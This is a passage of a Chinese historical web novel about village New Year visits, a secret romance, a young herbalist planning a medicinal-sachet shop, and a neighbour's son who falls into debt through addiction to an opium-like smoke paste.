王阡走上前看着她,哄道:“行了,事儿不能急,你现在给娘脸色看,就不怕到时候娘不帮咱说话?” 一听这话,柳云筝睁开眼,猛地坐起来看着面前的王阡,生气道:“不说就不说,你娘那胳膊肘早拐出去了。” “你小声些!” 王阡着急的上前用手堵妻子的嘴,往外望了一眼,才转头看着妻子的眼睛道:“你看你急什么?” 柳云筝打开了他的手,不满的继续道:“我急?我急?到底是谁急?你干的事儿我不急能行吗?” 虽然语气还是怒气满满,但是声音确实压低了很多。 说完委屈巴巴的趴在枕头上哼哼唧唧的哭起来,旁边的女儿看到,有些害怕的放下了手里的拨浪鼓,低着头不敢看他们俩。 听到妻子这么说,王阡的脸色瞬间沉了下去。 “行了,娘说了晚上把那丫头请来。” “当真?” 柳云筝止了哭声,转身看着他问道。 王阡转身坐上炕,没好气道:“这还能有假,我娘就我这一个儿子,肯定顺着。” 许芷从王家出来,遇上了刘喜英带着两个孩子朝这边来。 “刘婶子这是去哪啊?” 说着许芷从袖子里掏出糖递给小业和笑笑。 小业和笑笑高兴的跑过来,一人说了句吉祥话,才接下了糖。 看着他们俩可爱的样子,许芷忍不住嘴角上扬。 只是相比她的淡然,刘喜英显的不自在多了。 毕竟前一阵差点被许芷发现了她跟邓耧子的事情,多少这会儿看到许芷心里发虚。 她呵呵的笑了两声,开口道:“去你家,跟邓婶子拜年。” 虽然她心虚,可是过年不去许芷家是不可能的。 就许芷去年帮着自己的事情,她也该年年来,同时也能去看看邓耧子。 许芷闻言没什么表情,只是牵上了笑笑的手道:“那正好咱们一起回去吧。” 等到了家,小业和笑笑高兴的往厨房钻。 这一年这俩人在这吃饭的次数不少,于是早就没了刚开始那扭捏的样子,来了跟去自己家一样。 两个小家伙高低有致的叫着奶奶扑到了一脸慈爱的邓老太怀里。 邓老太笑的慈祥,拿出了两个红封给孩子。 进来的时候,刘喜英特地看了看,没看到邓耧子的身影,心里有点失落但是也有点庆幸。 想着要是邓耧子没在,她带着孩子赶紧拜年,早点回去。 许芷在后面自然是看到了刘喜英的动作,她装作没看见,招呼着刘喜英进屋。 刘喜英带了只杀好的鸡来拜年。 “婶子,我家也没什么好东西拿来,这只老母鸡还不错,若婶子不嫌弃,炖个汤喝暖身子。” 邓老太皱眉道:“嫌弃啥,我高兴还来不及,我早就没了女儿,有你惦记着,跟我女儿一样。” 说着接过了老母鸡放起来。 眼看差不多,刘喜英要带孩子们走。 邓老太一听,忙拦道:“家里和面和的多,还是羊肉馅饺子,小业和笑笑最爱吃了,走什么,中午就在家里吃。” 这刘喜英怎么肯呢,她就怕邓耧子回来看到她们,在家人面前一个把持不住把事儿捅了出去。 她可就成了邓家的过不好年的罪人了。 所以她坚持要回去,邓老太见留不住她刚准备松口,许芷也想帮帮忙,但是还没开口院子里就响起了邓耧子的声音。 “娘,二哥让我给你送皮冻。” 下一瞬,厨房的帘子已经掀开了。 刘喜英下意识的低下头不敢看。 而邓耧子掀开帘子看到这么多人,先是愣了一下,接着看到心上人,脸上不自觉笑意连连。 说话动作都轻柔了不少。 “娘,这是二哥给的皮冻。” 他把东西放下,有些不自然的看了一眼刘喜英,见到她垂着头不敢抬起头,脸上的笑意僵了一瞬,心里有些心疼。 他知道刘喜英这样不敢抬头都是因为他,是因为他们的感情。 心中越发肯定要给她幸福,也越发肯定在自己没能力没把握说服家人的时候,不会把这件事说出去。 他要让刘喜英风风光光、大大方方、高高兴兴地嫁进来。 而小业和笑笑看到他来都高兴的往他身上爬,因为他喜欢刘喜英,所以把两个孩子也都当成自己的宠。 时常陪着玩,给买好吃的好玩的,孩子比大人要好买通,两个孩子早就跟他亲密无间了。 他将笑笑高高举起着,故作不知的问:“喜...笑笑和小业,你们怎么来啦?” 刘喜英轻咳一声,声音低哑:“来跟婶子拜年。” 邓老天见到儿子,跟儿子说:“正好你也来了,劝劝喜英让她就别回去了中午在这吃饭呗。” 闻言,在场的除了孩子和不知情的邓老太跟孟雨兰没听出什么不对,而许芷、邓耧子和刘喜英,脸色都变了。 许芷属实没想到祖母会让舅舅劝,这不是正好撞上了,挑眉有些看好戏的看着两人。 而刘喜英则是更心虚了,本身就垂下的头,这会儿低的更狠,恨不得直接钻进地底下。 不过邓耧子听到这话则是高兴不已,正好他想跟刘喜英多呆一会儿,但是因为过年村里热闹,刘喜英几日前就说了不让他找自己。 他争取了半天,对方也没松口,坚持要等到十五之后再寻摸机会见面。 如今机会都送到手边了,他不可能不把握。 邓耧子笑道:“就是,留下吧,我娘做的羊肉馅饺子可好吃了。” 一听他说话,刘喜英更不敢留下了,拉着孩子就要走。 看这架势,邓耧子着急了,一时没注意直接抓住了刘喜英的胳膊。 “就留下呗。” 说完才感觉到不对,赶紧松了手。 邓老太上前生气的拍了下儿子的手,反而跟刘喜英道歉说:“对不住了喜英,我这儿子不开窍。” 说到最后三个字,邓老太嫌弃的摇摇头,又瞪了儿子一眼。 在她眼里,儿子这越界的行为是因为儿子到现在男女之事上还没开窍,所以才会这样。 丝毫没有往这两人有可能的事情上想。 第130章 麻酱毛肚 许芷听到这话没忍住笑了一声,还好她尽力让自己存在感小些,他们并未听到。 而刘喜英刚刚感受到胳膊上的禁锢时,瞬间一身冷汗,脸色苍白,脑子疯狂转动,该怎么跟邓老太解释。 邓耧子也一样,主要是两个人已经确定了心意,有些举动真的就是下意识的,根本忽略了这里不止他们两个。 他已经想好了,把所有的责任都揽到自己身上,就说是自己一厢情愿,人家根本不搭理自己。 没想到在娘的心里自己根本不开窍,想想也是,自己一直很抗拒这种事儿,之前确实是不开窍,现在是因为心里有人了。 一方面庆幸,一方面又觉得自己在娘心里就这样? 但不管怎么说娘没看出来就好。 他顺着娘的话解释说:“是,是我没想那么多。” 刘喜英脸色缓和了些,摇摇头直言没事,但还是心有余悸。 邓老太把人拉着坐下,笑着说:“既然没事,就在这吃吧。” 这下是怎么都说不出走的话来了。 邓耧子看到心上人留下了,嘴角又不自觉扬起,小小的挪着步子靠近了些。 许芷将这小动作尽收眼底,笑着垂眸摇摇头。 祖母还是小看了舅舅,这哪里是不通之人,这可太通了。 她开口给两人制造机会道:“这厨房这么小,都在这做饭都不方便,舅舅你带着刘婶子和两个孩子去堂屋吧。 堂屋有吃有喝,舅舅可要招待好婶子啊。” 等一会儿她就找借口把两个孩子带走,让他们两人单独相处。 邓耧子闻言,高兴的看向刘喜英。 可刘喜英哪敢啊,这有人看着邓耧子还敢慢慢靠近她,去了堂屋肯定才没有顾忌。 她摇摇头道:“不了不了,我在这帮婶子包饺子,哪能光吃不干活啊。” 说着拿起小擀面杖就要擀皮。 许芷一把夺过,道:“哪有让客人干活的道理,既然来拜年,就歇着我们来就行。” 说着把人推了出去,邓老太也偏头大声的附和许芷说得对。 都被推出来了,刘喜英只能拘谨的坐在了堂屋的凳子上。 许芷笑着把桌子上竹编里的干果零嘴又补了些,重新添了壶水放在了小炉子上。 早上她出去拜年的时候,村里也有人来了家里,所以早上装好的瓜子花生糖什么的少了不少。 “刘婶子安心坐着就行,改日我去你家拜年,我也这么坐着。” 许芷特意开解着说道。 刘喜英因为许芷的话,心里感动,笑着点了点头。 弄好,许芷转身就要出去。 刚掀开帘子就跟舅舅撞上了。 邓耧子有些心虚的呵呵两声,“小芷出来啦。” 许芷笑的客气嗯了声,就往厨房去。 厨房里,祖母和孟雨兰包饺子很快,已经包出来了一板饺子。 孟雨兰擀皮飞快,饺子皮都要堆成个小山了。 许芷上前去帮忙,只是她包饺子不太行,擀饺子皮也用不上她。 她心里还惦记着把小业和笑笑带走,所以没一会儿她就不干了。 看着她出去了,邓老太笑道:“这丫头,在厨房的事儿上还真是不行,但是药材上却是天赋异禀。” 孟雨兰笑着附和:“千人千面,小妹就是擅长那些,像我药材什么的都记不住。” 许芷出来就去了堂屋,进去前还煞有介事的大声道:“小业,笑笑,你们干嘛呢?” 一听这声音,邓耧子和刘喜英如临大敌,赶紧松开了桌子下面偷偷牵起的手。 许芷掀开帘子,看到两人面色还算镇定,只是耳尖那一抹红出卖了两人。 邓耧子清了清嗓子,面色平静的问:“小芷,怎么过来了?” “厨房有雨兰姐和祖母我根本用不上,所以我想着带小业和笑笑去赶鸭子玩。” 小业和笑笑一听高兴的就要出去。 刘喜英寻思这可不行,就剩他们俩,那岂不是...... 她想拒绝,可是许芷的速度更快,两个孩子本来也想跑出去玩,这样一说撒了欢的往外跑,根本容不得她拒绝。 瞬间堂屋里只剩她跟邓耧子两人,她的心跳变的很快。 有些不敢看向邓耧子。 下一瞬,邓耧子拉了她的衣角,她转身低头看去。 只见邓耧子眼睛晶亮的直勾勾盯着她,她被看的羞了脸。 咬着唇侧过身不看他坐下,可两人的手却紧紧的扣在一起。 许芷带着小业和笑笑去了河边,今年冬天不算冷,河水都没结冰,两个孩子开心的赶着鸭子下河。 她还拿了个长柄的网兜,让笑笑站的远些捞着玩。 笑笑太小了,不能跟小业那样对待。 小业离河再近也是有分寸的,但是笑笑一个不留神看不住万一掉进去怎么办。 今年冬天再暖和,那也是冷的,掉下去就算是高热不要命,但也难受的很。 许芷站在一边看着他们两个人玩的开心,心里想着自己的事儿。 她打算在城里开一家铺子,里面的东西都用药制成,比如皂儿膏、香囊、枕头和面脂等。 这些东西都比药便宜,也没有喝药的那种苦了吧唧的味儿,平日里多用着就能舒缓一些陈年旧疾的症状。 她发现这里很多人的病其实刚开始并不严重,但是就是因为舍不得买药花钱,所以硬是拖着忍着,变的很严重。 而且病越拖治起来更贵,这样就陷入了恶性循环,好多人最后直接放弃,直到病死。 若是有日常就能帮着减轻症状或者预防的物品,自然是不错的。 价格便宜,大家也不会不舍得。 正想着,听到祖母出来叫他回去吃饺子。 她带着两个孩子赶着鸭子回了家。 堂屋,饺子已经端上了桌。 除了饺子,孟雨兰还凉调了个萝卜丝。 昨晚还有不少的剩菜,那些热菜就算了,但是花生米能吃。 炸的小酥肉还有,热了一下也是一盘菜。 昨晚的麻酱毛肚好吃,又调了一盘。 一人一盘饺子,还有四盘凉菜。 孟雨兰还调了两个蘸饺子的酱汁,一个是纯醋的,一个加了辣椒油、酱油、麻椒和白糖。 第131章 暗流涌动 吃过饭,刘喜英说什么也不再继续待了。 邓耧子也知道不该继续留着她,再留本就薄的脸皮就要磨没了。 就劝着想要热闹些的亲娘,让刘喜英带着两个孩子回去。 只是刘喜英刚走没多久,他也找了个借口出去。 许芷看着舅舅急不可耐的样子,微不可查的叹了口气。 将碗筷都收拾过,许芷拿起扫帚打扫堂屋地上的丢的皮屑。 本来孟雨兰要抢着干的,是许芷不让。 她跟祖母一起做了饭,自己都没帮上,这会儿只能多打扫一下。 不过大年初一,不让丢污秽,说是不好。 所以她只是把垃圾都扫在一起,堆在门口,等到明天再倒。 刚扫完,王三婶就上了门。 “小芷。” 许芷闻言抬起头看到王三婶,赶紧把人请进门,要去叫在屋里刚躺下的祖母。 却被王三婶拦住了。 “小芷,我不找婶子,我找你。” 许芷疑惑看过去:“怎么了,三奶奶?” 王三婶:“我儿子儿媳想要感谢你,请你吃饭,我知道你不喜欢这种事儿,但是他们也是一番好意,你若是不去,他们会一直觉得欠了你的。” 她故意这么说着,知道只要说了欠这个字,许芷就会答应。 果然,许芷闻言,想了想还是点了头。 只是她跟王三婶交代道:“我们本就是互相的,不存在谁欠了谁,可别弄的太正式了,我真的不习惯。” 王三婶一看许芷答应了,自然是说好,笑嘻嘻的回了家。 “走了?” 许芷转头看到了从屋里出来的祖母。 邓老太听到了王三婶的声音,赶紧穿了外衣出来迎客。 没想到这么快就走了。 许芷:“嗯,三奶奶来让我晚上去家里吃饭。” 邓老太闻言觉得也正常,外孙女带着他们赚了钱,想着吃顿饭感谢感谢也使得。 晚上许芷去了王三婶家,顺道还叫上了王茹娇。 王茹娇跟他们是亲戚,又是活泼健谈的性子,带上她没那么尴尬。 许芷到的时候,王三婶正在厨房忙着做饭,而说好感谢她的王阡两口子在堂屋坐的端正。 见她来,两口子赶紧起身迎,看到后面还有王茹娇,柳云筝不是很高兴。 嘟囔了句听不清的,又换上笑脸,让两人进来。 许芷没有急着进去,而是看着厨房说道:“我去帮帮三奶奶,她一个人做咱们这么多人的饭,忙不过来吧。” 说着就往厨房去,王阡两口子笑容僵了一瞬。 柳云筝笑着说道:“哪有让客人做饭的道理,你去坐着,我跟婆母做就行。” 临了还补了句:“本就是我跟婆母两个人忙的,但是这不是想着你快来了,特意等着迎你。” 许芷闻言微微笑,只是笑容浮于表面,跟着王阡进了堂屋。 王茹娇在后面偷偷低声跟许芷说了句:“怎么觉得我这个堂嫂这么奇怪呢?” 往日她见的也少,其实也不太了解。 只是今日觉得不对劲儿。 许芷微微摇了摇头,两人进了堂屋,坐着客气的问过好,就沉默着。 她看着王阡从她坐下,眼神有一下没一下的往她身上瞟。 许芷脸色淡漠的坐着,并不主动问什么,连面前的东西也不吃,就那么坐着。 王茹娇倒是活泼些,毕竟本来性子就活跃,就是自己三叔三婶家,所以自在的多。 王三叔没事问着许芷药苗养护的事情,虽然之前跟着许芷种了一年,可毕竟今年是自己来,生怕出什么错。 该做的事情其实已经记在了心底,但是还是想多问问。 王阡听到父亲问这些,他不明所以,问道:“这地不是许丫头租了去?药苗该怎么种许丫头心里有数,你问这么多干啥?” 此话一出,想来热情的王茹娇准备回答,但是被许芷拉住了。 她本来疑惑不已,接着就听到三叔敷衍说道:“庄稼人,多问问多学学有啥?” 就算她再笨也听得出,三叔不想说他们自己种了药苗的事情。 心中庆幸还好许芷手快拉住了自己,不管三叔是为了什么瞒着堂哥,这话都不该从自己嘴里说出去。 很快,饭就做好了。 王三婶就是村里人,没学过什么复杂的菜式,会做的也都是些简单的菜色。 但是尽管简单,却没有一个素菜,把家里最好的肉都做了出来。 王三婶知道孟雨兰多会做饭,所以她手捏了捏腰上围着的围裙。 诚实的有些局促的说道:“我这手艺有限,没有那个孟丫头会做,你们将就着吃。” “哪里,雨兰姐做饭样式是多,只是要跟她比,只怕要去京城寻了大厨来才能一较高下,这一桌已经比咱们平时吃的家常菜丰盛的多,也是我熟悉的味道,三奶奶莫要看低了自己。” 许芷这话说的不偏不向,也没贬了孟雨兰,也没抬高王三婶,但就是让人听了高兴。 果然,王三婶听了后,高兴的合不拢嘴。 “许丫头说话就是中听,好了大家别客气了,快坐下吃饭。” 坐下后,还没吃一会儿,许芷已经感觉到王阡夫妻俩的暗流涌动。 她微不可察的叹了口气,心想这两人要是真有事相求,就快问。 但是她是真的不想自己主动去问,万一问了是让自己为难的事情,既然张口问了不答应也下不来台。 而且她一直信奉的就是谁想要谁主动、谁努力,而不是让别人去替他开了口,自己顺着往下走。 所以她一点都不急的慢慢吃着。 柳云筝看着许芷丝毫没注意到的吃着饭,着急又上火。 心想这许丫头还是做生意的,怎么没一点眼力见,看得出他们有事呢? 要是她问了,他们说就顺理成章,只是她不问,他们还要找个话头引过去,真是麻烦。 可眼看着许芷都放下了筷子,也没问,王阡忍不了,给了妻子一个眼神。 柳云筝没好气的瞪他一眼,舒出一口气,开口道:“许丫头,年纪轻轻就认得这些药材,还会种了卖钱,真是个厉害的丫头,没见谁家十四五的丫头这么厉害的。” 说完兀自呵呵的笑。 心想不管说什么,先夸了总没错,谁还能不喜欢听好话? 第132章 逍遥小馆 可许芷偏偏不是喜欢听这种奉承话的人,她听到柳云筝的话只是淡淡的嗯了声,没什么情绪变化。 看她这样,柳云筝笑容僵了一瞬,心想这么个小丫头,装什么老成。 心里是这么想的,可是面子上还是很客气。 “这丫头,还真是少年老成,是个办大事的人。” 话音落下,跟丈夫对视一眼,两人的眼底都有异样。 闻言,王茹娇品出了不对劲儿,她总觉得她这个堂嫂好像话里有话一样。 一旦有了这个念头,再看堂哥和堂嫂两人的眼神,她越发觉得自己想的是对的。 她觉得都是一家人,干什么说话奇奇怪怪的,许芷跟她们又不是那种很客气的关系。 所以她直接问出了口:“哥、嫂子,你们是不是有事啊?” 问完,三个人的眼神齐刷刷的看向她。 王茹娇看着许芷和堂哥堂嫂投来的眼神,她有一瞬间的愣怔,不明白怎么一句话他们反应怎么这么大。 “我、我说错什么了?” 她有些忐忑的问出口,眼神试探的看着许芷。 柳云筝和王阡大喜,终于有人说出口了,自己可以顺坡下驴说出来。 于是他们忙道:“没有,你能说错什么呀,咱都是一家人,说话没那么忌讳。” 可是王茹娇并不是很相信堂嫂的话,她的眼神还在许芷的身上。 “小芷,我是不是真的说错话了?” 许芷表情淡然,微微摇了摇头,道:“没有。” 听到许芷的话,她还没来得及深想,就听到堂嫂跟着说道。 “你看你这孩子,我们都说了没有。” 说着转向许芷开口道:“不过,既然娇娇开口了,我们确实有点事要拜托一下许丫头。” “等等。” 王三婶这才反应过来,这饭根本不是儿子儿媳为了感谢许芷才有的,而是有事相求。 怎么有事不跟家里人说,直接找许芷呢? 现在需要钱解决的大部分的事情,她跟老头子都能行。 之所以不跟儿子和儿媳说他们现在自己种药做生意,是因为儿子从前犯过浑,成了亲之后才好。 怕说了儿子又变回从前那样子,所以才瞒着。 总之她觉得不对,所以才拦了一下。 “有什么事儿,咱们一家人关起门自己解决,怎么能麻烦别人呢?” 王三婶皱着眉说着,眼神警告的看向儿子,让他拦一下媳妇儿。 可是王阡跟没看到母亲的暗示一样,对着许芷说:“你王叔我确实有点事儿要求你,也不是什么大事,你这丫头有出息,借我点钱就行。” 许芷还没开口,王三叔直接一拍桌子,直接把小孙女吓哭了。 他给了个眼神给王三婶,王三婶把小孙女拉过来哄着。 王三叔客气的跟许芷和王茹娇先说道:“许丫头,娇娇,招待不周,你们俩先回家吧,改日再请你们来家里。” 许芷微笑颔首嗯了声,就拉着一脸疑惑的王茹娇赶紧离开了。 看到许芷离开,柳云筝不甘的想把人叫住,但是王三叔直接生气的大吼出声。 “老实交代,怎么回事?” 王三婶带着孙女去了屋里,让丈夫问清楚事情。 原是儿子王阡在外做工累,被一起做工的拉着去一家叫做逍遥馆的地方放松。 那里面有一款烟膏,点了之后人醉生梦死。 而且头一次可免费试用,买的次数越多越贵。 王阡本来是贪小便宜,冲着免费试用去的。 他觉得只去这一次,后面越来越贵跟自己有啥关系,只要自己不再去不就行了。 去了之后,他试了一次果然如他人所说那般有飘飘欲仙之感。 享受完他以为就此结束了,可是过了没几天他做工的时候,突然觉得心慌手抖,身上好像有蚂蚁爬一样。 活都干不了,满脑子都是那烟膏,他甚至觉得自己抽不到,下一刻人就要死去。 他颤抖着找到了上次带他去的工友,让他再次带自己去那逍遥馆。 工友一看就知道是怎么回事,立刻带他去了逍遥馆。 看到工友把自己带去,分得了一耳勺的烟膏,他立刻懂了是怎么回事。 可他如今顾不上这么多,只想让他们赶紧给自己烟膏。 一问一两要十文钱,他觉得不多,立刻付了钱缓解了自己的难受。 这次他明显觉得那种飘飘欲仙的滋味更甚。 就这样他一次次地去那逍遥馆,最后让柳云筝知道的时候,他已经倒欠逍遥馆几百两银子了。 柳云筝气的抓狂,可是钱已经欠下了,如今主要是要还上,要不然这一家该怎么办啊? 他们俩知道家里一定还不上这钱,所以才把念头打在了父母夸赞的许芷身上。 可谁知道他们啥都没说呢,人就被爹娘赶走了。 听到儿子欠了这么多钱,王三叔气的说不出一句话,可是现在再气也没用,事情已经出了,最重要的是解决。 他压下心中的怒火,咬着牙问:“多少钱?” 王阡一瞬间的愣住,不明白:“什么?” 但是柳云筝听懂了,她立刻回道:“七百八十二两,爹。” “什么?!” 王三叔实在没想到会有这么多,他气不过直接打了儿子一巴掌。 “你这个混账,这件事你敢再去找许丫头,我打断你的腿。” 王阡不服气的说道:“为啥不能找,你不说了那丫头人好,借点钱凭啥不愿意,要不是你们给她照顾药田,她能赚这么多钱吗? 所以她赚的钱不就是你们的钱,我用咱的钱凭啥不行?” 听到儿子这样大言不惭的话,王三叔气的脑仁疼。 而柳云筝也觉得丈夫这话不错。 “是啊,爹,那丫头一个人能弄了那药田吗?不还是靠着你跟婆母才成事儿,况且我们俩是借,有借有还再借不难,这钱不是少数,就你跟我婆母那点租地的钱,哪能还的上啊。” 王三叔气的瞪大了眼睛,看着他们两个。 “我告诉你们两个,把你们那小心思给我收了,这件事我跟你娘会想办法解决的,要是让我知道你们俩乱来,我先打断臭小子的腿,然后把人逐出族谱!” 第133章 年龄大咯 听到这话,夫妻俩对了一眼,安生了下来。 他们俩觉得既然爹说了想办法解决,肯定跟他们想的一样,是去找许芷帮忙。 反正沾上许芷,他们俩就放心了。 两人心满意足的回了房间,而愁容满面的王三叔坐在桌子前直至深夜。 王三婶看到丈夫还没回来,拿着衣服出来找。 看到王三叔整个人都丧气不已,她心疼的将手里的衣服披到丈夫身上。 接着问过是怎么回事,她气的手都是抖得。 没想到这个混小子竟然出了这种事。 她发愁的算了算,家里买了药苗后,只有一百七十六两银子,跟七百多两还差得远。 但是最关键的不是钱的事儿,而是听儿子说那意思,他对这什么烟膏上了瘾一样。 他们可以借钱把现在欠的钱还上,可是后面儿子还是会去那逍遥馆,那不是无底洞?根本填不满。 所以最重要的事情不是还钱,而是把儿子这瘾给戒掉。 她想清楚之后,深深地叹了口气。 “钱还上是小事,可他若是日后还是这般,总不能一直给他填窟窿吧。” 王三叔岂能不知道这点,所以他愁就愁在了这。 该怎么把儿子给掰回来,这才是正经事儿。 “要不......” “不行,当父亲的哪有这么狠的!” 王三叔刚说两个字,就被媳妇儿按住了,看着媳妇儿一脸震惊的样子,他啧一声。 “怎么狠了,不把他捆起来,他怎么戒掉?” 听到丈夫说只是捆起来,王三婶松了口气,她还以为要...... “哪用得着捆起来,就把他留在家里就行。” 老两口商量过,决定把儿子留在家里,让儿媳先带着孩子回去。 儿子戒掉之前,她们娘俩所有的开支都由他们两口子负责。 至于欠的那些钱,他们想办法先让儿媳去还上。 既然想清楚了,王三婶劝道:“事儿总能解决的,你就别想着了,回去睡吧。” 今年这个年过的,许芷家热闹的不行。 村里人都自发地来了许芷家拜年,从初二开始到初九,不断的有人来。 许芷和祖母每日迎来送往,脸都笑僵了。 这不,刚又送走了一户,许芷刚进屋就听到祖母抱怨道:“从前只觉得家里不够热闹,现在真热闹起来,还真不适应。” 孟雨兰手里拿着个手帕正在绣东西,听到邓老太的话,头也不抬的笑着说:“奶奶前几日可不是这么说的。” 邓老太松了劲儿靠在椅背上,手小幅度的摆摆,有气无力道:“年龄大咯,不中用。” 一旁的许芷笑笑不吭声,她拿起茶壶给祖母倒了杯热茶递过去。 邓老太刚接上,就听到院子里有人喊。 她差点呛到,还没歇一会儿呢,就又来人了。 “婶子,许丫头,我们来给你们拜年。” 王三婶的声音传了进来。 邓老太和孟雨兰不知道那晚的事儿,只觉得是平日里走的近的人来了,高兴的去迎。 而许芷不知道那晚走后到底发生了什么,王茹娇中间去打听过,不过没打听出来什么。 但就从平日那么要好的两家人,过年这么久村里人都快来完了,他们却一直没来家里串串,许芷都知道应该不是那么简单的事情。 思忖间,王三婶已经进了屋,手里还提着一块肉。 看到许芷,王三婶神色发虚,避开了她的眼神。 邓老太先开口:“来自己家了还这么客气,拿点你家自己腌的咸菜都成,怎么拿了块肉?” 虽然今年因为许芷的原因,大家都有钱吃上了肉,但是自己能吃上不代表能送别人。 肉在大家眼里还是稀罕物,去家里吃点行,真的送到别人家还是不舍得。 王三婶把肉放到了孟雨兰手里,客气说道:“嗐,您也说咱都是一家人,一家人之间肯定拣好的拿,怎么能亏待自己人呢。” 趁着孟雨兰下去放肉,王三婶快速道:“婶子,咱这关系我也就不藏着掖着了,我今天来是管许丫头借钱的。” 邓老太一听,这种事她可不能做主,只能看向许芷的方向。 许芷闻言,表情倒是没太大变化,她颔首道:“多少钱?” 借钱这种事好说,她是知道三奶奶三爷爷的为人的,若不是急到了一定程度,是肯定不会来自己这开口的。 而且把钱借给他们两口子,她也很放心,一定不会有那种不还钱的事情发生。 换一个角度讲,她有钱,若是来找她借钱,她反倒觉得简单能做到,就怕是一些具体的难办的事情。 她若是办不到会觉得有愧,同时也会对两家的关系造成影响。 王三婶算过他们还需要六百零六两,这可不是一笔小钱,所以她开口的时候非常难为情。 “许丫头,我要借的是一大笔钱,今年这些半夏不管能挣多少都是你的,你不用再给我们钱。” 许芷愣住,四亩地的半夏按照市场价,就算不炮制成药材,收的话也能达到上千两。 这是要借多少啊? 她倒不是不借,她今年是赚了不少,可是今年租地多,买的药苗也多,又买了油布什么的。 卖药材的钱根本不够,还好是有那条蛇卖的三千两,才勉强算是兜住底。 现在她手里也就个几百两,要是王三婶要借上千两,她可没有这么多。 所以她诚实说道:“我手里还有个几百两,若是借上千两我恐怕没有那么多,但是我有多少都可以借你救急。” 听到许芷这话,王三婶心中感动不已。 “要不了上千两,真要是上千两,我都不想活了。” 王三婶的声音已经带了哭腔。 邓老太闻言,皱眉斥道:“说什么不想活,王家的,有什么事儿大家帮帮忙就过去了,可不敢想些死呀活的。” “是啊,钱能解决的事情就不算什么,你说就是,多少银子?” 许芷也跟着祖母的话宽慰王三婶。 这几日一直撑着的王三婶听到许芷这么说,她忍不住落下了泪。 看到她情绪崩溃,许芷和邓老太没着急催她说。 许芷抽出自己的手绢递给王三婶,而邓老太则是握住王三婶的手,安慰她。 而门外的孟雨兰听到哭声,识趣的止住了脚步,转身往外走。 第134章 药材香囊 许久,王三婶止住了哭声,跟许芷说她要借六百零六两银子。 听到之后,许芷回了房间点了自己所有的银子,一共有九百四十五两。 她直接拿了六百二十两出来。 “这些钱您拿着,不够再来找我。” 王三婶接住了钱,发现多了,赶紧要把多的十四两还回去。 许芷按住了她的手,把钱又推了回去,道。 “三奶奶,你们一定是把所有的钱都拿了出去,才管我借这有零有整的钱,多的钱就算是借你们过活的,你们的地一半都拿来种药材了,种下的粮食本就不多,交了人头税更少了,所以拿着就行。” 看到王三婶还是想还回来,许芷直白道:“我知道你会说从前没钱粮少的时候,抠抠搜搜也过下来了。 但是你们现在跟从前不一样了,从前你们管好自己就成,可现在多了药苗,你们没钱维护药苗,长得不好,卖不上价,你们拿啥还我钱? 就算是你们说的到时候半夏都是我的,那我要的也是好半夏,长得不好我可不要,所以这钱你们拿着,要把药苗种好才会有希望。” 许芷这话说的无话反驳,邓老太也跟着附和。 “我这外孙女说的对,你若是这会儿计较这十几两,到时候药苗没种好,那才是得不偿失,种好了药苗对我这孙女也好,对不?” 王三婶已经止住的眼泪,这会儿又想往下掉。 她拿着钱跟许芷保证道:“你放心吧,许丫头我跟你三爷爷,一定把这药苗子给你种好了,不让你亏一点。” 既然拿到了钱,许芷让王三婶快回去解决事情吧。 王三婶也不再客气了,儿子那边确实也着急解决,她就先走了。 走出门外,还和回来看看的孟雨兰撞上了。 看到王三婶要走,她知道自己能回去了,还笑着跟其打招呼。 等到王三婶走了,邓老太哎呦一声叹了口气。 许芷:“祖母为何叹气?” “可怜天下父母心啊。” 邓老太感慨道。 许芷挑眉,祖母猜的还真准,直接就猜到了是王三婶的儿子惹了事儿。 不过按照王三叔和王三婶的为人,能猜到他们儿子身上也正常。 夫妻俩都是很好的人,只有可能是下一辈的人。 能让他们这么揪心的只能是亲儿子。 这么想着,许芷顺嘴就说了出来。 听到孙女的猜测,邓老太笑出了声。 “哪啊?你这丫头想得太多了。” “不是?”许芷疑惑道。 “是他们那儿子从前就惹过事儿,差点命都丢下,成亲后突然就改了。” 邓老太简单的解释着。 许芷闻言,微微点了点头。 过了正月十五,这个年才算是彻底过去了。 许芷要开始研究研究做皂儿膏,还有各种各样的香囊。 反正铺子已经买下来了,先放在那也不会跟租的一样觉得浪费,用的东西还是要试一试,做好了再开始比较好。 要不然生意还没开始做,万一出了事儿,得不偿失。 这里面她最擅长,觉得最好做的是香囊,因为香囊里的药材配比她很清楚,剩下的就是找个手艺好的绣娘,绣上好看风靡的花样就成。 这件事她可以交给孟雨兰去做,也能让她赚钱养活自己。 她倒不是不想给孟雨兰一口饭吃,她是怕在家里久了,孟雨兰觉得一直都是自己养着她胡思乱想。 而且孟雨兰也肯定有自己想要的东西,自己给钱她是不好意思要的,长此以往压抑了自己,也容易乱想。 不如让她赚点钱,既能发挥她的长处,又能让她赚钱。 人有了钱就有了一定程度的自由,就不容易忧思过虑。 许芷是个想到就做的人,当即她就去问了孟雨兰香囊的料子、颜色选择。 孟雨兰一听许芷要香囊还以为她自己要,拿出了自己用碎布头闲时做的香囊给她。 “你若是不嫌弃,你看看这你用不?这是我绣好的成品,你只用往里添你需要的药材,这你应该比我懂。” 许芷也不着急解释,而是拿过孟雨兰绣的香囊仔细的看起来。 颜色是许芷那个袄子一样的柳绿色,上面绣的是盛放的芍药,那花真实的好像真的能闻到香味。 香囊的抽绳上,孟雨兰磨了两颗木头珠子,一边一颗。 下面缀着的穗子也有一颗,用料虽然简单,但是看起来精致和谐。 许芷一边看着一边问道:“这样一个香囊你做下来要多久?” 孟雨兰想了想,道:“若是带上我找合适的木料磨珠子的时间,差不多一日半。” 许芷:“若是不带呢?” 孟雨兰:“半日。” 闻言,许芷微微吃了一惊,这样精美的绣品,竟然半天就成了。 她也不啰嗦,直接说道:“雨兰姐,明日可随我去城里一趟?” “干啥去?” 孟雨兰问道。 “买布料,做香囊,你是绣娘眼光好,到时候多挑些时兴好看的料子,你也看看那些料子适合绣什么,需要买什么线和珠子,都一并买回来。” 听了许芷的话,孟雨兰还以为许芷要做香囊送人,故意打趣道:“我从前可是府里的一等绣娘,我的绣品可是很贵的哦,要做人情你可赚大发了。” “不。”许芷否认道:“给钱的,只是我还没想好定价,雨兰姐,你只管做,做好了之后,肯定不会少了你的。” 听到许芷这么说,孟雨兰一下没了开玩笑的心思,她不是要钱的意思。 她心里怨自己乱说什么话,能帮上许芷自己就应该谢天谢地了,什么钱不钱的。 也不想想自己是因为谁能过的如此舒畅,也不用操心家用,还有个好地方住着,自己吃这么多,都没说过一句不行的话。 